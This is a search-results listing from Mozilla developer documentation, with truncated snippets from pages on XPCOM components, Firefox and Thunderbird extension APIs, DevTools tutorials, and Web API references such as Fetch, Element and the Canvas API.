documentation will be updated as time allows to remove references to interfaces being "frozen" or "unfrozen." component registration the way xpcom components are registered changed in gecko 2.
...for example, in your component's javascript code : components.utils.import("resource://gre/modules/xpcomutils.jsm"); function mycomponent() { } mycomponent.prototype = { // this must match whatever is in chrome.manifest!
... classid: components.id("{e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8}"), queryinterface: xpcomutils.generateqi([components.interfaces.nsimycomponent]), /* nsimycomponent implementation goes here */ ...
...And 3 more matches
How to build a binary XPCOM component using Visual Studio
then make the following tweaks: add "..\gecko-sdk\include" to additional include directories add "..\gecko-sdk\lib" to additional library directories add "nspr4.lib xpcom.lib xpcomglue_s.lib" to additional dependencies add "xp_win;xp_win32″ to preprocessor definitions turn off precompiled headers (just to keep it simple) use a custom build step for the xpcom idl file (spawns xpidl-build.bat to process the idl with mozilla tool...
... let’s specify a simple interface: #include "nsisupports.idl" [scriptable, uuid(263ed1ba-5cc1-11db-9673-00e08161165f)] interface ispecialthing : nsisupports { attribute astring name; long add(in long a, in long b); }; remember to generate your own guid.
...they could look like this: h file: #ifndef __specialthing_impl_h__ #define __specialthing_impl_h__ #include "comp.h" #include "nsstringapi.h" #define specialthing_contractid "@starkravingfinkle.org/specialthing;1" #define specialthing_classname "specialthing" #define specialthing_cid { 0x245626, 0x5cc1, 0x11db, { 0x96, 0x73, 0x0, 0xe0, 0x81, 0x61, 0x16, 0x5f } } class cspecialthing : public ispecialthing { public: ns_decl_isupports ns_decl_ispecialthing cspecialthing(); private: ~cspecialthing();...
...And 3 more matches
Components.utils.exportFunction
modifying the argument while cloning creates a copy of an object, an xray for an object refers to the original, so any changes to the argument that are made in the exported function will affect the original object that was passed in: // privileged scope: for example, a content script function changemyname(user) { user.name = "bill"; } exportfunction(changemyname, contentwindow, { defineas: "changemyname" }); // less-privileged scope: for example, a page script var user = {name: "jim"}; var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(user.name); // "jim" window.changemyname(user); console.log(user.name); // "bill" }, false); note tha...
...if you need unfiltered access to the original, you can waive xrays: // privileged scope: for example, a content script function loguser(user) { // console.log(user.getuser()); // error console.log(user.wrappedjsobject.getuser()); // "bill" } exportfunction(loguser, contentwindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script var user = {getuser: function() {return "bill";}} var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.loguser(user); }, false); passing functions as arguments if functions are given as arguments, these are also passed as ...
...because you can call function xrays just like normal functions, this means that passing callbacks into the exported function just works, making the allowcallbacks option redundant: // privileged scope: for example, a content script function loguser(getuser) { console.log(getuser()); // "bill" } exportfunction(loguser, unsafewindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script function getuser() { return "bill"; } var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.loguser(getuser); }, false); cross-origin checking when the exported function is called each argument, including this, is checked to make sure that the caller subsumes that argument.
...And 3 more matches
nsIRegistry
var cc = components.classes; var ci = components.interfaces; var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); now you have the registry service.
... rs.openwellknownregistry(2); // 2 signifies the applicationregistry, if i understand right var st = rs.enumerateallsubtrees(2); // 2 signifies "common", see libreg source (reg.h) for info now you have an nsienumerator that can report the subtrees.
... try { st.first(); do { var data = st.currentitem(); if( data instanceof ci.nsiregistrynode ) print("nsiregistrynode: " + data.nameutf8 + " (" + data.key + ")"); st.next(); } while( components.lastresult == 0 ); } catch(e) {} now, the output is something like: profiles (344) profiles/default (530) profiles/foo (1046) profiles/bar (1518) the number inside the parenthesis is the "key." you can use this key with the rest of the nsiregistry api (see mxr).
...And 3 more matches
mozISpellCheckingEngine
the built in hunspell engine has contract id "@mozilla.org/spellchecker/engine;1".
... when this attribute's value is changed, a "spellcheck-dictionary-update" notification is sent.
... if the dictionary was set to "no dictionary" (that is, by specifying an empty string), the observer may select another dictionary before returning.
...And 3 more matches
nsIAlertsService
implemented by: @mozilla.org/alerts-service;1 as a service: var alertsservice = components.classes["@mozilla.org/alerts-service;1"] .getservice(components.interfaces.nsialertsservice); method overview void showalertnotification(in astring imageurl, in astring title, in astring text, [optional] in boolean textclickable, [optional] in astring cookie, [optional] in nsiobserver alertlistener, [optional] in astring name, [optional] in astring dir, [optional] in astring...
... topic: "alertfinished" when the alert disappears, "alertclickcallback" if the user clicks the text or "alertshow" (since gecko 22) when the alert is shown.
...valid values are "auto", "ltr" or "rtl".
...And 3 more matches
nsIApplicationUpdateService
return value a string indicating the status of the update upon return: "downloading" the update is being downloaded.
... "pending" the update is ready to be applied.
... "applying" the update is in the process of being applied.
...And 3 more matches
nsICompositionStringSynthesizer
to create an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
... compositionstringsynthesizer.setstring("foo-bar-buzz"); // set clause information with .appendclause().
... compositionstringsynthesizer.appendclause("foo-".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appendclause("-buzz".length, compositionstringsynthesizer.attr_convertedtext); // set caret position in the composition string.
...And 3 more matches
nsIDOMXULElement
allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false.
... collapsed boolean true if the element's collapsed attribute is the string "true", otherwise false.
... hidden boolean true if the element's hidden attribute is the string "true", otherwise false.
...And 3 more matches
nsIFilePicker
to create an instance, use: var filepicker = components.classes["@mozilla.org/filepicker;1"] .createinstance(components.interfaces.nsifilepicker); method overview void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short...
... show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform).
... specify it without a leading dot, for example "jpg".
...And 3 more matches
nsIFileView
if the treecol id is "filenamecolumn" fileview will return the file name, if the id is "lastmodifiedcolumn" it will return the date of last modification.
...to create an instance, use: var fileview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); method overview void setdirectory(in nsifile directory); void setfilter(in astring filterstring); void sort(in short sorttype, in boolean reversesort); attributes attribute type description reversesort boolean if true results will be sorted in ascending order.
... setfilter() set the filter to be applied to the file list, for example "*.jpg" would only return jpg files.
...And 3 more matches
nsISecurityCheckedComponent
inherits from: nsisupports last changed in gecko 1.7 capability strings in gecko, a "capability" is a string identifying a set of actions that code is allowed to perform.
... two examples: code that has the "universalxpconnect" capability is allowed to access all of xpcom.
...code that has the "universalbrowserread" capability is allowed to perform certain actions that allow it to read information from the local system.
...And 3 more matches
Troubleshooting XPCOM components registration
you can be certain that a component has failed to register by going to the error console and evaluating components.classes["contract-id"].name where contract-id is your contract id.
...set nspr_log_modules=nsnativemoduleloader:5 set nspr_log_file=c:\path\to\logfile "c:\program files\mozilla firefox\firefox.exe" examining this log for warning and errors may provide valuable clues why the component failed to load.
...to learn more about enabling chrome errors, see "how can i see errors in my code" in the extension faqs.
...And 3 more matches
Mail event system
the folder calls notifyintpropertychanged on itself with the atom that represents "totalmessages": this->notifyintpropertychanged(ktotalmessagesatom, 4, 5);.
... will be set up to be notified when the message count changes in a folder: // our variable to know if the listener fired var listenerhasfired = false; var totalmessageslistenerhasfired = false; // the listening function that will react to changes function myonintpropertychanged(item, property, oldvalue, newvalue) { listenerhasfired=true; var propertystring = property.getunicode(); dump("onintpropertychanged has fired with property + " + propertystring + "!\n"); if (propertystring == "totalmessages") { totalmessageslistenerhasfired=true; //now show us visually var folder = item.queryinterface(components.interfaces.nsimsgfolder); dump("the folder " + folder.prettyname + " now has " + newvalue + " messages."); } else if (propertystring == "testpro...
...perty") { dump("recieved integer test property fired on folder " + folder.prettyname + " with values " + oldvalue + " and " + newvalue + "\n"); } // set up the folder listener to point to the above function var folderlistener = { onitemadded: function(parent, item, viewstring) {}, onitemremoved: function(parent, item, viewstring) {}, onitempropertychanged: function(parent, item, viewstring) {}, onitemintpropertychanged: myonintpropertychanged, onitemboolpropertychanged: function(item, property, oldvalue, newvalue) {}, onitemunicharpropertychanged: function(item, property, oldvalue, newvalue) {}, onitempropertyflagchanged: function(item, property, oldflag, newflag) {}, onitemevent: function(item, event) = {}, onfolderloaded: function(afolder) = {} onde...
...And 3 more matches
Building a Thunderbird extension 5: XUL
in messenger.xul we find the status bar, which looks something like this.: <statusbar id="status-bar" ...> ...
...</statusbar> <statusbar id="status-bar"> is a "merge point" for a xul overlay.
...a xul overlay is a .xul file that specifies xul fragments to insert at specific merge points within a "master" document.
...And 3 more matches
Finding the code for a feature
tags are applied using the message database property "keyword".
...(for debug builds, you can make it appear by default using "ac_add_options --enable-extensions=default,venkman,inspector" which is part of my standard configuration).
...i know there is a menu command "tag" to tag the message - how does it do it?
...And 3 more matches
DOM Inspector internals - Firefox Developer Tools
(internally, a panel may be loosely referred to as a "pane", but a panelset is always referred to as a "panelset".) a panel's purpose is to manage available viewers.
...as of this writing, there's a toolbox containing an empty menubar and an empty toolbar, as well as an empty vbox: <toolbox id="tbxinstoolbox"> <menubar id="mbrinspectormain"/> <toolbar id="tbinspectorprimary"/> </toolbox> <vbox id="bxinspectormain" flex="1"/> there are no menus, toolbar items, et cetera defined here.
...(the browser pane is not a viewer panel in the sense that document and object panels are, i.e., the sorts of panels as defined above in relation to the panelset; "pane" is used here with regard to the browser pane in a loose sense to describe the generic ui fixture.) toolboxoverlay.xul this overlay fills in the inspector toolbox, including toolbar buttons and the location bar and its "inspect" button.
...And 3 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
visit the url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser" from the "environment" menu.
... var w = gbrowser.selectedbrowser.contentwindow; console.log("tracking allocations in page: " + w.location.href); // make that window a debuggee of our debugger.
... console.log("stopping allocation tracking."); dbg.removealldebuggees(); dbg = undefined; // analyze and display the allocation log.
...And 3 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
in the html pane in the html pane, elements laid out using a grid have a "grid" marker beside them.
... the layout view grid section when grids are included on a page, the css pane's layout view includes a "grid" section containing a number of options for viewing those grids.
... overlay grid each grid present on a page has an entry in the "overlay grid" section: each entry consists of (from left to right): a checkbox allowing you to toggle the grid overlay for that grid on and off.
...And 3 more matches
AnalyserNode - Web APIs
number of inputs 1 number of outputs 1 (but may be left unconnected) channel count mode "max" channel count 2 channel interpretation "speakers" inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; l...
...eft: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middl...
...e" alignment-baseline="middle">audionode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#d4dde4" fill="none"/><line x1="251" y1="25" x2="281" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/analysernode" target="_top"><rect x="281" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">analysernode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor analysernode() creates a new instance of an analysernode object.
...And 3 more matches
Attr - Web APIs
WebAPIAttr
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/attr" target="_top"><rect x="266" y="1" width="75" height="50" fill="...
...#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console.
...And 3 more matches
BeforeInstallPromptEvent - Web APIs
the beforeinstallpromptevent is fired at the window.onbeforeinstallprompt handler before a user is prompted to "install" a web site to a home screen on mobile.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4...
..."/><a xlink:href="/docs/web/api/beforeinstallpromptevent" target="_top"><rect x="116" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeinstallpromptevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor beforeinstallpromptevent() creates a new beforeinstallpromptevent.
...And 3 more matches
CanvasRenderingContext2D.direction - Web APIs
syntax ctx.direction = "ltr" || "rtl" || "inherit"; options possible values: "ltr" the text direction is left-to-right.
... "rtl" the text direction is right-to-left.
... "inherit" the text direction is inherited from the <canvas> element or the document as appropriate.
...And 3 more matches
Using images - Web APIs
for example, if you have a <video> element with the id "myvideo", you can do this: function getmyvideo() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); return document.getelementbyid('myvideo'); } } this returns the htmlvideoelement object for the video, which, as covered earlier, is one of the objects that can be used as a canvasimagesource.
... <html> <body onload="draw();"> <canvas id="canvas" width="180" height="150"></canvas> </body> </html> function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); var img = new image(); img.onload = function() { ctx.drawimage(img, 0, 0); ctx.beginpath(); ctx.moveto(30, 96); ctx.lineto(70, 66); ctx.lineto(103, 76); ctx.lineto(170, 15); ctx.stroke(); }; img...
... <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); var img = new image(); img.onload = function() { for (var i = 0; i < 4; i++) { for (var j = 0; j < 3; j++) { ctx.drawimage(img, j * 50, i * 38, 50, 38); } } }; img.src = 'https://udn.realityripp...
...And 3 more matches
Clipboard.read() - Web APIs
WebAPIClipboardread
to read from the clipboard, you must first have the "clipboard-read" permission.
... example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "clipboard-read" access, this example fetches the data currently on the clipboard.
... // first, ask the permissions api if we have some kind of access to // the "clipboard-read" feature.
...And 3 more matches
DataTransferItemList.add() - Web APIs
exceptions notsupportederror a string data parameter was provided, and the list already contains an item whose kind is "plain unicode string" and whose type is equal to the specified type parameter.
... html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain...
..."); // add some other items to the drag payload datalist.add("<p>...
...And 3 more matches
DocumentType - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25"...
... x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/documenttype" target="_top"><rect x="266" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">docu...
...eg "<!element foo (bar)>".
...And 3 more matches
How to create a DOM tree - Web APIs
dynamically creating a dom tree consider the following xml document: <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" c...
...ity="denver" state="co" country="usa"/> </person> </people> the w3c dom api, supported by mozilla, can be used to create an in-memory representation of this document like so: var doc = document.implementation.createdocument("", "", null); var peopleelem = doc.createelement("people"); var personelem1 = doc.createelement("person"); personelem1.setattribute("first-name", "eric"); personelem1.setattribute("middle-initial", "h"); personelem1.setattribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.setattribute("street", "321 south st"); addresselem1.setattribute("city", "denver"); addresselem1.setattribute("state", "co"); addresselem1.setattribute("country", "usa"); personelem1.appendchild(addresselem1); var addresselem2 = doc.createelement("addres...
...s"); addresselem2.setattribute("street", "123 main st"); addresselem2.setattribute("city", "arlington"); addresselem2.setattribute("state", "ma"); addresselem2.setattribute("country", "usa"); personelem1.appendchild(addresselem2); var personelem2 = doc.createelement("person"); personelem2.setattribute("first-name", "jed"); personelem2.setattribute("last-name", "brown"); var addresselem3 = doc.createelement("address"); addresselem3.setattribute("street", "321 north st"); addresselem3.setattribute("city", "atlanta"); addresselem3.setattribute("state", "ga"); addresselem3.setattribute("country", "usa"); personelem2.appendchild(addresselem3); var addresselem4 = doc.createelement("address"); addresselem4.setattribute("street", "123 west st"); addresselem4.setattribute("city", "seattle"); addr...
...And 3 more matches
Element.animate() - Web APIs
WebAPIElementanimate
defaults to "normal".
...accepts the pre-defined values "linear", "ease", "ease-in", "ease-out", and "ease-in-out", or a custom "cubic-bezier" value like "cubic-bezier(0.42, 0, 0.58, 1)".
... defaults to "linear".
...And 3 more matches
Element.getAttributeNS() - Web APIs
if the named attribute does not exist, the value returned will either be null or "" (the empty string); see notes for details.
... <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced attribute!"/> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( 'attri...
...bute test:foo: "' + circle.getattributens( ns, 'foo' ) + '"' ); </script> </svg> in an html5 document the attribute has to be accessed with test:foo since namespaces are not supported.
...And 3 more matches
Element.querySelectorAll() - Web APIs
examples dataset selector & attribute selectors <section class="box" id="sect1"> <div class="funnel-chart-percent1">10.900%</div> <div class="funnel-chart-percent2">3700.00%</div> <div class="funnel-chart-percent3">0.00%</div> </section> // dataset selectors const refs = [...document.queryselectorall(`[data-name*="funnel-chart-percent"]`)]; // attribute selectors // const refs = [...document.queryselectorall(`[class*="funnel-chart-percent"]`)]; // con...
...st refs = [...document.queryselectorall(`[class^="funnel-chart-percent"]`)]; // const refs = [...document.queryselectorall(`[class$="funnel-chart-percent"]`)]; // const refs = [...document.queryselectorall(`[class~="funnel-chart-percent"]`)]; obtaining a list of matches to obtain a nodelist of all of the <p> elements contained within the element "mybox": var matches = mybox.queryselectorall("p"); this example returns a list of all <div> elements within "mybox" with a class of either "note" or "alert": var matches = mybox.queryselectorall("div.note, div.alert"); here, we get a list of the document's <p> elements whose immediate parent element is a div with the class "highlighted" and which are located inside a container whose id is "test".
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the iframe elements in the document that contain an attribute named "data-src": var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is "userlist" which have a "data-active" attribute whose value is "1": var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array.
...And 3 more matches
Element - Web APIs
WebAPIElement
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4d...
...de4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent interface, node, and by extension that interface's parent, eventtarget.
...And 3 more matches
Using Fetch - Web APIs
'content-type': 'application/json' // 'content-type': 'application/x-www-form-urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with ...
... { username: 'example' }; fetch('https://example.com/profile', { method: 'post', // or 'put' headers: { 'content-type': 'application/json', }, body: json.stringify(data), }) .then(response => response.json()) .then(data => { console.log('success:', data); }) .catch((error) => { console.error('error:', error); }); uploading a file files can be uploaded using an html <input type="file" /> input element, formdata() and fetch().
... const formdata = new formdata(); const filefield = document.queryselector('input[type="file"]'); formdata.append('username', 'abc123'); formdata.append('avatar', filefield.files[0]); fetch('https://example.com/profile/avatar', { method: 'put', body: formdata }) .then(response => response.json()) .then(result => { console.log('success:', result); }) .catch(error => { console.error('error:', error); }); uploading multiple files files can be uploaded using an html <input type="file" multiple /> input element, formdata() and fetch().
...And 3 more matches
HTMLCanvasElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-ancho...
...r="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text...
... x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="5...
...And 3 more matches
HTMLElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><pol...
...yline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,...
